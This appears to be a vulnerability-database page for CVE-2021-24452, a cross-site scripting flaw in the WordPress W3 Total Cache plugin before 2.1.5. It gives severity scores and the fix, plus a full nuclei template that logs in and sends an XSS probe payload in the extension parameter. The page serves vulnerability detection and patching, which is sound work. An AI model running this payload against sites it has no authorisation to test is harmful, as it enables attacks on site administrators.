HexBrain

Browse / CVEs / CVE-2021-24452

CVE-2021-24452· boldgrid / w3 total cache· CWE-79

WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting 'Anonymously track usage to improve product quality' is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user's web browser, which could lead to full site compromise.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Fixed in version 2.1.5.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-'
Positive when: status_code_2 == 200 and contains(body_2, 'extensions/\'-alert(document.domain)-\'') && contains(body_2, 'w3-total-cache') and contains(header_2, "text/html")

Run it with nuclei: nuclei -id CVE-2021-24452 -u <target>

The full check
id: CVE-2021-24452

info:
  name: WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting 'Anonymously track usage to improve product quality' is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 2.1.5.
  reference:
    - https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
    - https://wordpress.org/plugins/w3-total-cache/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24452
    cwe-id: CWE-79
    epss-score: 0.01917
    epss-percentile: 0.80046
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,auth,boldgrid,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(body_2, 'extensions/\'-alert(document.domain)-\'') && contains(body_2, 'w3-total-cache')
          - contains(header_2, "text/html")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from